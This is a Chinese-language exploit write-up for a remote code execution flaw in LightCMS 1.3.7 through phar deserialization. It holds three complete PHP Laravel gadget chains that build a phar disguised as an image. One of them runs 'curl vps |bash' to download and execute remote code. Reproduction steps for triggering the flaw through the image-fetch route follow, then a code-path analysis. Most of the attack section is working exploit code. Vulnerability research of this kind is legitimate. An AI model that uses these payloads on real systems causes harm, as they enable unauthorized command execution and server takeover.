LightCMS1.3.7-RCE漏洞

环境搭建(Kali)

参考之间的文章：LightCMS1.3.5-任意文件读取&RCE漏洞

漏洞复现

找一个 Laravel RCE 的 gadget，生成 phar 文件，exp如下

POP_1

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
        protected $connection;

        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }

}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent('whoami');

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');
}

POP_2

<?php
namespace Illuminate\Broadcasting
{
    use  Illuminate\Events\Dispatcher;
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($cmd)
        {
            $this->events = new Dispatcher($cmd);
            $this->event=$cmd;
        }
    }

}


namespace Illuminate\Events
{
    class Dispatcher
    {
       protected $listeners;
       public function __construct($event){
           $this->listeners=[$event=>['system']];
       }
    }
}
namespace{
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $o = new Illuminate\Broadcasting\PendingBroadcast($argv[1]);
    echo base64_encode(serialize($o));
    $phar -> setMetadata($o);
    $phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
}

POP_3

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
      protected $connection;

      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }

}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent('curl vps |bash');

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');

}

来到内容管理 - 新增文章内容，上传文件，就会得到一个这样的图片 url：http://127.0.0.1:8000/upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif

然后来到我们自己的 vps，新建一个 txt，内容为：phar://./upload/image/202106/qYUkjTWuFUMdMKo2hhp4DptwF23FkZJZ2nM1ixWy.gif

然后 POST 提交到这个路由即可触发 phar 反序列化

漏洞分析

在LightCMS1.3.5的任意文件读取漏洞被提出并且修复后，我们来分析一下作者修复所用的fetchImageFile函数

跟进fetchImageFile函数，可以看到其使用curl来获取远程资源的内容，然后使用 Image:make 模块进行解析，并且对后缀也进行了严格的过滤，由于该后台是基于laravel框架开发，并且这个cms 后台还是有图片上传功能的，不妨我们尝试利用phar反序列化实现RCE

我们跟进一下isWebp函数 ，由于传入的不是Webp文件，所以会进入Image::make($data);，而且这个data变量也就是请求返回的内容，在获取到远程url的内容后，会调用Intervention\Image\Facades\Image的 make方法，对图片内容进行解析

继续跟进到vendor/intervention/image/src/intervention/Image/AbstractDriver.php，通过 init()，然后传入 decoder->init()

可以看到 data 不仅可以是图片的二进制数据 ，还可以是这些数据格式，跟进 initFromUrl方法

它继续读取了这个 url 的内容，然后作为 binary 数据处理

跟进 isUrl，这个方法只是利用 FILTER VAR 判断是否为 url，这意味着前面的 http 协议可以替换成其他协议，比如 phar 协议，将 url 内容改成一个 phar 进行测试，依旧进到了这里并且传给了 file_get_contents()，即可以触发 phar 反序列化了